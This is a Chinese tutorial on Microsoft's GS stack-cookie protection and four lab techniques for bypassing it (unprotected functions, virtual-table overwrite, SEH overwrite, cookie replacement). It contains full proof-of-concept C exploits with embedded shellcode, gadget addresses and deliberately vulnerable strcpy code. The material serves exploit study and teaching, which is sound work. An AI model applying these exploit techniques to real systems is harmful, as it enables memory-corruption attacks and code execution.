栈中的守护天使:GS
[toc]
GS 安全编译选项的保护原理
实现版本
针对缓冲区溢出时覆盖函数返回地址这一特征,微软在vs2003(vs 7.0)及以后的版本中,默认启用了 GS 编译选项。Project→project Properties→Configuration Properties→C/C++→Code Generation→Buffer Security Check 中设置GS。
GS 是如何保护栈的呢?
GS 编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中的溢出。
- 在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,这个随机数叫 " canary “。在IDA中反汇编,这个随机数会被标注为 “Security Cookie”。
- Security Cookie 位于 EBP 之前,系统将在 .data 的内存空间中放一个 Security Cookie 的副本。
- 当栈发生溢出时,先淹没 Security Cookie ,然后才会淹没 EBP 和返回地址。
- 函数返回前,系统会先执行 Security check 来进行安全验证。
- 在 Security Cookie 的过程中,
- 系统将比较栈帧中原先存放的 Security Cookie 和.data 中副本的值,如果两者不吻合,说明栈帧中的 Security Cookie 已被破坏,即栈中发生了溢出
- 当检测到栈中发生溢出时,系统将进入异常处理流程,函数不会被正常返回,ret 指令也不会被执行。
在安全和性能间平衡的GS
额外的数据和操作会使系统性能下降,为了降低对性能的影响,编译器在编译程序的时候并不是对所有的函数都应用 GS,以下情况不会应用 GS。
- 函数不包含缓冲区。
- 函数被定义为具有变量参数列表。
- 函数使用无保护的关键字标记。
- 函数在第一个语句中包含内嵌汇编代码。
- 缓冲区不是 8 字节类型且大小不大于 4 个字节。
主动加GS的安全标志
有例外就有机会,我们可以利用这些未被保护的函数来执行栈溢出。当然微软也发现了这个问题,在 Visual Studio 2005 SP1 起引入了一个新的安全标识:
#pragma strict_gs_check
这个标识能对任意的函数添加 Security Cookie。
#include"stdafx.h"
#include"string.h"
#pragma strict_gs_check(on) // 为下边的函数强制启用 GS
intvulfuction(char * str)
{
chararry[4];
strcpy(arry,str);
return 1;
}
int_tmain(intargc, _TCHAR* argv[])
{
char* str="yeah,i have GS protection";
vulfuction(str);
return 0;
}
防覆盖的变量重排技术
除了在返回地址前添加 Security Cookie 外,微软还使用了变量重排技术。在编译时,将字符串变量移动到栈帧的高地址,用以防止该字符串溢出时破坏其他的局部变量。同时还会将指针参数和字符串参数复制到内存中低地址,防止函数参数被破坏。
Security Cookie 产生细节
- 系统以.data 节的第一个双字作为 Cookie 的种子,或称原始 Cookie(所有函数的 Cookie都用这个 DWORD 生成)。
- 在程序每次运行时 Cookie 的种子都不同,因此种子有很强的随机性
- 在栈桢初始化以后系统用 ESP 异或种子,作为当前函数的 Cookie,以此作为不同函数之间的区别,并增加 Cookie 的随机性
- 在函数返回前,用 ESP 还原出(异或) Cookie 的种子
若想在程序运行时预测出 Cookie 而突破 GS 机制基本上是不可能的。
微软内部对GS的看法
- 修改栈帧中函数返回地址的经典攻击将被 GS 机制有效遏制;
- 基于改写函数指针的攻击,如第 6 章中讲到的对 C++虚函数的攻击, GS 机制仍然很难防御;
- 针对异常处理机制的攻击, GS 很难防御;
- GS 是对栈帧的保护机制,因此很难防御堆溢出的攻击。
本章实验环境配置
为了更直观的反映出程序再内存中的状态,实验编译中禁用优化选项。
利用未被保护的内存突破 GS
函数 vulfuction 不包含4字节以上的缓冲区,所以即使 GS 处于开启状态,这个函数也不受GS保护。
#include"stdafx.h"
#include"string.h"
//#pragma strict_gs_check(on) // 为下边的函数强制启用 GS
int vulfuction(char * str)
{
char arry[4];
strcpy(arry,str);
return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
char* str="yeah,the fuction is without GS";
vulfuction(str);
return 0;
}
用 IDA 对可执行程序反汇编,vulfuction 返回前(指令 retn)没有 security cookie 验证操作。
对比,强制启用GS后,#pragma strict_gs_check(on)
,retn 前对 Security Cookie 进行了验证。
覆盖虚函数突破 GS
如何利用虚函数绕过 GS机制?
**绕过GS机制思路:**程序只有返回时才会去检查 Security Cookie,所以只要在程序检查 Security Cookie 前劫持程序流程,就能对程序的溢出,而 C++ 虚函数恰好给我们提供了这样的一个机会。
// exp_2.cpp : Defines the entry point for the console application.
//
#include"stdafx.h"
#include"string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
//__asm int 3
vir();
}
virtual void vir()
{
}
};
int main()
{
GSVirtual test;
test.gsv(
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\0"
);
return 0;
}
/*
"\xf6\x2a\x99\x7C" //address of "pop pop ret"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
*/
实验思路和代码简要解释: (1)类 GSVirtual 中的 gsv 函数存在典型的溢出漏洞 strcpy 。 (2)类 GSVirtual 中包含一个虚函数 vir。 (3)当 gsv 函数中的 buf 变量发生溢出的时候有可能会影响到虚表指针,如果我们可以控制虚表指针,将其指向我们的可以控制的内存空间,就可以在程序调用虚函数时控制程序的流程。
推荐使用的环境 | 备 注 | |
---|---|---|
操作系统 | Window XP SP3 | |
编译器 | Visual Studio 2008 | |
编译选项 | 禁用优化选项 | |
build 版本 | release 版本 |
说明: shellcode 中头部的 0x7C992af6 为“pop edi pop esi retn”指令的地址,不同版本的系统中该地址可能不同,如果您在其他版本中进行实验,可能需要重新设置此地址。
为了能够精准地淹没虚函数表,我们需要搞清楚变量buff与虚表指针在内存中的详细布局。
变量与虚表指针在内存中的布局
当函数 gsv 传入参数的长度大于 200 个字节时,变量 buff 就会被溢出。先将 test.gsv 中传入参数修改为 199 个“\x90” +1 个“\0”,然后用 OllyDbg 加载程序,在执行完 strcpy 后暂停。
红色框:虚函数表地址
紫色框: 0012ff68 Security Cookie 0012ff6C EBP 0012ff70 返回地址 0012ff74 参数
黑色框:函数gsv中变量等其它信息
从图中可以看出,buf 变量末尾的 ”\0“ 在0012ff64
位置,而虚表指针在 0012ff78
位置,相距 20个字节。
淹没虚表指针后如何控制程序的流程?
虚函数的调用过程:程序根据虚表指针找到虚表,然后从虚表中取出要调用的虚函数的地址,根据这个地址转入虚函数执行。
我们需要做的就是将虚表指针指向我们的 shellcode,以劫持进程,为此还有几个关键问题需要解决。
关键问题
如何让虚表指针刚好指向 shellcode 的范围?
变量 buff 在内存中的位置不固定,但是原始参数(0x00402100 即作为调用参数的shellcode)是位于虚表(0x004021D0)附近,所以我们可以通过覆盖部分虚表指针的方法,让虚表指针指向原始参数,在本实验中使用字符串结束符 “\0” 覆盖虚表指针的最低位即可让其指向原始参数的最前端。(由于虚函数列表指针为D0,shellcode参数的地址为00,故而覆盖虚函数最后一个字节即可)
执行完call eax后如何返回 shellcode ?
虚表指针指向原始参数中的 shellcode 后,我们面临着一个 call 操作,在执行完这个 call 后还必须可以返回 shellcode 内存空间继续执行。您可能首先会想到 jmp esp 跳板指令,但是很不幸,这个指令在这行不通,如下图所示
我们的原始参数不在栈中!无法跳回 0x00402100 的内存空间继续执行了。此时程序已经完成 strcpy()字符串复制,shellcode 已经被复制到变量 Buff 中了,所以我们可以转入 Buff 的内存空间继续执行 shellcode。Buff的地址放在 0x0012FE8C 中,位于ESP+4位置,由于call eax 操作后会将返回地址入栈,所以我们需要“pop pop retn”(位于内存 0x7C992af6 处)指令作为跳板,才能进入 Buff 中(0012FE9C)执行 shellcode。
shellcode结构:
将构建好的shellcode重新填充到程序中,运行结果如下图所示。
攻击异常处理突破 GS
GS 机制并没有对 S.E.H 提供保护,换句话说我们可以通过攻击程序的异常处理达到绕过GS 的目的。
**思路:**首先用超长字符串覆盖掉异常处理函数指针,让它指向shellcode,然后想办法触发一个异常,程序就会转入shellcode,那么我们就可以通过劫持 S.E.H 来控制程序的后续流程。
#include<stdafx.h>
#include<string.h>
charshellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"……"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;
void test(char * input)
{
char buf[200];
strcpy(buf,input);
strcat(buf,input);
}
void main()
{
test(shellcode);
}
对代码简要解释如下: (1)函数 test 中存在典型的栈溢出漏洞 strcpy 。 (2)在 strcpy 操作后变量 buf 会被溢出,当字符串足够长的时候程序的 S.E.H 异常处理句柄也会被淹没。 (3)由于 strcpy 的溢出,覆盖了 input 的地址,会造成 strcat 从一个非法地址读取数据,这时会触发异常,程序转入异常处理,这样就可以在程序检查 Security Cookie 前将程序流程劫持。
推荐使用的环境 | 备 注 | |
---|---|---|
操作系统 | Windows 2000 SP4 | |
编译器 | Visual Studio 2005 | Windows 2000 最高支持 VS2005 |
编译选项 | 禁用优化选项 | |
build 版本 | release 版本 |
说明:为了不受 SafeSEH 的影响,本次实验需要在 Windows 2000 上进行。此外, shellcode 的起始址可能需要在调试中重新确定。
找出shellcode和S.E.H的位置
先用一段正常长度用 x90 填充的 shellcode,通过 x90 找出栈帧中shellcode和S.E.H的位置。
shellcode的位置:0012FEB0
最近的S.E.H的位置:0012FFB0+4,因为S.E.H被链入了双向循环链表,所以有两个指针
所以最后shellcode的组成内容为:
我这里编译时,由于运行库kernel32.dll缺少IsWow64Process,导致无法执行。
原本应该会弹出 failwest 对话框。
同时替换栈和.data 中的 Cookie 突破 GS
**思路:**既然Security Check Cookie 是同时检查.data和栈中的 Cookie是否一致,那我们只要保证溢出后栈中的 Cookie 与.data中的一致,就让验证成功。
- 猜测 Cookie 的值。
- 同时替换栈中和 .data 中的 Cookie。
因为Cookie的生成具有很强的随机性,所以猜测几乎不可能,就只能替换了。
#include<stdafx.h>
#include<string.h>
#include<stdlib.h>
charShellcode[]=
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor ESP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of Shellcode
;
void test(char * s, int i, char * src)
{
char dest[200];
if(i<0x9995)
{
char * buf=s+i;
*buf=*src;
*(buf+1)=*(src+1);
*(buf+2)=*(src+2);
*(buf+3)=*(src+3);
strcpy(dest,src);
}
}
void main()
{
char * str=(char *)malloc(0x10000);
test(str,0xffff2fb8,Shellcode);
}
对代码简要解释如下。 (1) main 函数中在堆中申请了 0x10000 个字节的空间,并通过 test 函数对其空间的内容进行操作。 (2) test 函数对 s+i 到 s+i+3 的内存进行赋值,虽然函数对 i 进行了上限判断,但是没有判断 i 是否大于 0,当 i 为负值时, s+i 所指向的空间就会脱离 main 中申请的空间,进而有可能会指向.data 区域。 (3) test 函数中的 strcpy 存在典型的溢出漏洞。
表 10-5-1 实验环境
推荐使用的环境 | |
---|---|
操作系统 | Windows XP SP3 |
编译器 | Visual Studio 2008 |
编译选项 | 禁用优化选项 |
build 版本 | release 版本 |
说明: shellcode 的起始地址和异或时使用的 EBP 可能需要在调试中重新确定。
Security Cookie 校验的详细过程
将 shellcode 赋值为 8 个 0x90,然后用OD加载程序。
**生成Security Cookie过程:**程序从 0x00403000 处取出 Cookie 值,然后与 EBP 异或,最后将异或后的值放到 EBP-0x4 的位置,作为此函数的 Security Cookie。
**函数返回前的校验过程:**是生成Security Cookie的逆过程,程序从 EBP-0x4 的位置取出值,然后与 EBP 异或,最后与 0x00403000 处的 Cookie 比较,相等,则通过校验,否则转入校验失败的异常处理。
本实验的关键点是: (1)在 0x00403000 处写入我们自己的数据。我们向 test() 中的 i 传入一个负值,让 str 移动到 0x00403000,从而修改 .data 中的Cookie。 (2)向栈中的 Security Cookie 写入相应的数据。我们用 dest 字符串申请了 200个字节的空间,可以通过溢出 dest 将栈中的 Security Cookie 修改为 90909090 与当前 EBP 异或的结果。
经调试发现,dest的起始位置在 0012FE90,Security Cookie 位于 0012FF60(=EBP-0x4),EBP 位于0x0012FF64。
布置 shellcode ,计算 i 的值
malloc 申请的空间起始位置为 0x00410048 (将程序中断在 malloc 之后就能看到),这个位置相对于 0x00403000 处于高址位置,通过计算,应将 i 设置为 0xffff2fb8。
shellcode 的长度为 216 个字节,组成如下:
运行结果:
总结
以上介绍了几种绕过 GS 的典型方法:
- 利用未被保护的内存突破 GS
- 覆盖虚函数绕过 GS
- 攻击异常处理程序突破 GS
- 同时替换 栈和.data 中的Cookie 突破 GS
GS未能完全消灭溢出,但是它使得溢出条件变得异常苛刻。